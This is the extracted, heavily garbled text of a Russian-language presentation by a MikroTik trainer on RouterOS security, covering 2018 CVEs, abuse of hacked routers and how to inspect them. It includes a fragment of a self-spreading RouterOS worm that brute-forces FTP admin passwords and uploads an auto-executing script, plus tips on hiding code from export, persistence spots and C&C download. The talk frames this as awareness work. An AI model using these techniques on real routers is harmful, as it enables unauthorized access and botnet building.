
ББeeзопасностьзопасность  вв  MMikroTik ikroTik 
((по итогам годапо итогам года))



ООббoo  ММнене

 Руководитель ИТ-службы торговой компанииРуководитель ИТ-службы торговой компании
 MikroTik certified engineer, consultant MikroTik certified engineer, consultant 
 MikroTik TrainerMikroTik Trainer с 2015года с 2015года  
 СертификатыСертификаты: ccna, mtcna, mtcre, mtcwe,   : ccna, mtcna, mtcre, mtcwe,   

Eltex-Eltex-коммутация, ФЗ-152, ubuquiti ubwaкоммутация, ФЗ-152, ubuquiti ubwa  
 Работаю сРаботаю с  микротик с микротик с 20082008

    telegramtelegram::   @Nick_The_First   @Nick_The_First
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ООббoo  ММнене

Провожу учебные курсы в России и Казахстане  с Провожу учебные курсы в России и Казахстане  с 
компанией «компанией «MikroTik-CoursesMikroTik-Courses»»

    Специалистов            Сертификатов              Средний балл   Специалистов            Сертификатов              Средний балл   ГородовГородов

          обучено обучено выдановыдано посетилипосетили
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УУязвимостиязвимости

► Единственная 0-day уязвимость        Единственная 0-day уязвимость        
CVE-2018-14847CVE-2018-14847  ликвидирована ликвидирована 
24/03/2018 - в течение недели. 24/03/2018 - в течение недели. 
Слоупоки и конкуренты обсуждают до Слоупоки и конкуренты обсуждают до 
сих пор.сих пор.

► Некритичные Некритичные CVE-2018-1156, CVE-2018-CVE-2018-1156, CVE-2018-
1157, CVE-2018-1158, CVE-2018-11591157, CVE-2018-1158, CVE-2018-1159  
ликвидированы в августеликвидированы в августе  в в 6.42.76.42.7
(там же сделан отключаемым (там же сделан отключаемым PMKID – exploit for 802.11)PMKID – exploit for 802.11)
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ВВарианты эксплуатацииарианты эксплуатации

Если ваш MikroTik взломали

Майнинг и фишинг 

Подмена DNS-серверов, 
включение SOCKS-Proxy, перехват 
и перенаправление траффика. 

Использование сниффера для 
нешифрованых протоколов.

«Угон» админки роутера 
и вымогательство

Блокирование NetInstall с 
использованием «SecureBoot».

Обычно, установка задержки 
reformat на 5-8 минут
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УУгон роутеров и сбросгон роутеров и сброс

► Функция «protected-routerboot».Функция «protected-routerboot».

Параметры  удержанияПараметры  удержания  ««resetreset»»

reformat-hold-buttonreformat-hold-button=20s=20s

reformat-hold-button-maxreformat-hold-button-max=10m=10m

► Если есть доступ «read», сделатьЕсли есть доступ «read», сделать

/system routerboard settings/system routerboard settings  exportexport
+ google: MikroTik wiki Netinstall+ google: MikroTik wiki Netinstall
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ММайнинг на роутерахайнинг на роутерах

 https://www.securitylab.ru/blog/company/kaspersky/344785.phphttps://www.securitylab.ru/blog/company/kaspersky/344785.php  

«Майнинг на роутерах MikroTik«Майнинг на роутерах MikroTik»
Использует старые уязвимости

Фишинг более эффективен.
Сниффинг более опасен.
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ККража паролей на транзитеража паролей на транзите

«Ваш «Ваш sniffer sniffer настроен против васнастроен против вас»

Пароли telnet, smtp, pop3, ftp, http перехватываются хакерами
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ИИзучаем взломанный микротикзучаем взломанный микротик

Поиск  троянов в sheduler и не толькоПоиск  троянов в sheduler и не только
Пароли наверняка  «ушли». Пароли наверняка  «ушли». 
Логины и пароли PPP – прежде всегоЛогины и пароли PPP – прежде всего
Проверяем настройку DNSПроверяем настройку DNS
Проверяем функционал socks-proxyПроверяем функционал socks-proxy
Проверяем фаервол!Проверяем фаервол!
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ДДефолтныйефолтный  фаерволфаервол
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ВВзломанный зломанный фаерволфаервол
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ССписок пользователейписок пользователей
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ССписок пользователейписок пользователей
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ЛЛомаем микротик омаем микротик правильноправильно

 Старый «новый» способ взломаСтарый «новый» способ взлома
 Полноценный вирус на языке RouterOSПолноценный вирус на языке RouterOS

      полного кода здесь полного кода здесь НЕ БУДЕТНЕ БУДЕТ
ББудут фрагментыудут фрагменты

 Где спрятать секретный код?Где спрятать секретный код?
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ИИнтересный отчётнтересный отчёт

https://www.shodan.io/report/DfYzmDYihttps://www.shodan.io/report/DfYzmDYi

Открытые FTP-серверы MikroTikОткрытые FTP-серверы MikroTik
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ВВирус-бутфорсер ирус-бутфорсер FTPFTP

  FTP – FTP – инструмент администратора !инструмент администратора !
Автоисполнение файлов Автоисполнение файлов scriptscript.auto.rsc.auto.rsc

  
   RouterOS RouterOS имеет средства работы с имеет средства работы с FTPFTP
   В языке есть обработчик ошибокВ языке есть обработчик ошибок
   Много мест, где спрятать вируса в роутереМного мест, где спрятать вируса в роутере
   Не нужен компьютерНе нужен компьютер
   Не существует программы-антивирусаНе существует программы-антивируса  
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ВВирус-бутфорсер ирус-бутфорсер FTPFTP

  Простой отладочный вариант кода:Простой отладочный вариант кода:

:local v [:toa "12345, password, 123, qwerty, admin"]:local v [:toa "12345, password, 123, qwerty, admin"]
:local i 0:local i 0
:local j [:len $v]:local j [:len $v]
:while ((!ok)&&(i<j)) do={:while ((!ok)&&(i<j)) do={
:set $p [:pic $v $i] ; :set $p [:pic $v $i] ; 
:set $ok true;:set $ok true;
:do {/too fe mode=ftp user=admin password=$p src-path=/vir.txt address=$addr :do {/too fe mode=ftp user=admin password=$p src-path=/vir.txt address=$addr 

port=21 dst-path=/port=21 dst-path=/vir.auto.rscvir.auto.rsc upload=yes} on-er={:pu ("Failed with  upload=yes} on-er={:pu ("Failed with 
password:".$p);set $ok false};password:".$p);set $ok false};

:if $ok do={:put ($p." is VALID password")}; :if $ok do={:put ($p." is VALID password")}; 
set i ($i+1);set i ($i+1);
}} 
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ППроцесс внедренияроцесс внедрения

СС    версии 6.42  права скриптов из версии 6.42  права скриптов из NetWatchNetWatch  
урезаны… но есть много иных интересных точек урезаны… но есть много иных интересных точек 
внедрения.внедрения.

Scheduler – Scheduler – хорошее место. Но ненадежное. хорошее место. Но ненадежное. 
Туда можно «поселить» копию-«смертника». Админ Туда можно «поселить» копию-«смертника». Админ 
найдет, порадуется и удалит не всё.найдет, порадуется и удалит не всё.
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ТТёмные уголки в ёмные уголки в MikroTikMikroTik

Вирус для Вирус для RouterOS, RouterOS, это скрипт. Скриптэто скрипт. Скрипт,,  
это переменная типа «это переменная типа «stringstring».».

Возможно изменять вирус «на лету», Возможно изменять вирус «на лету», 
сохранять в любых хранилищах скриптовсохранять в любых хранилищах скриптов: : 
dhcp-lease, dhcp-client, dhcp-server-alert, dhcp-lease, dhcp-client, dhcp-server-alert, 
ppp-profile, ppp-profile,  и много других точек и много других точек..
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««/Export/Export»»  показывает всю настроенную показывает всю настроенную 
конфигурацию маршрутизатораконфигурацию маршрутизатора..

НО…НО…
Существует возможность скрыть код от Существует возможность скрыть код от 

экспорта.экспорта.

EExport xport против трояновпротив троянов
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ППоиск жертвоиск жертв

1.1. Сканирование подсетиСканирование подсети
2.2. Просмотр Просмотр neighbors listneighbors list
3.3. Внешние списки с Внешние списки с FTP FTP другого микротикадругого микротика
4.4. Иные вариантыИные варианты
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ККак и зачем?ак и зачем?

1.1. Мощные Мощные DDoS DDoS атаки трафик-генератором или атаки трафик-генератором или ping.ping.
2.2. Всё тот же фишингВсё тот же фишинг  и сниффинги сниффинг
3.3. Распределенная сеть Распределенная сеть VPNVPN
4.4. Выполнять произвольный код скачав его с Выполнять произвольный код скачав его с C&CC&C-сервера -сервера 

((fetch + import). fetch + import). Позволяет обойти ограничение на Позволяет обойти ограничение на 
длину файлов 4длину файлов 4k.k.

5.5. Для архитектуры Для архитектуры MIPSBE (RB951, RB2011) MIPSBE (RB951, RB2011) возможно возможно 
установить установить Bitcoin/Litecoin -Bitcoin/Litecoin -майнеры майнеры   
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ЗЗачем на самом деле?ачем на самом деле?

► Изучить возможности встроенного Изучить возможности встроенного 
скриптового языка скриптового языка RouterOSRouterOS в части  в части 
создания самоизменяемого создания самоизменяемого 
самовоспроизводящегося кода;самовоспроизводящегося кода;

► Привлечь внимание к уязвимым Привлечь внимание к уязвимым 
конфигурациям роутеров и простым конфигурациям роутеров и простым 
паролям администраторов;паролям администраторов;
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Спасибо за внимание!Спасибо за внимание!

Приходите к нам изучатьПриходите к нам изучать
MikroTik MikroTik 
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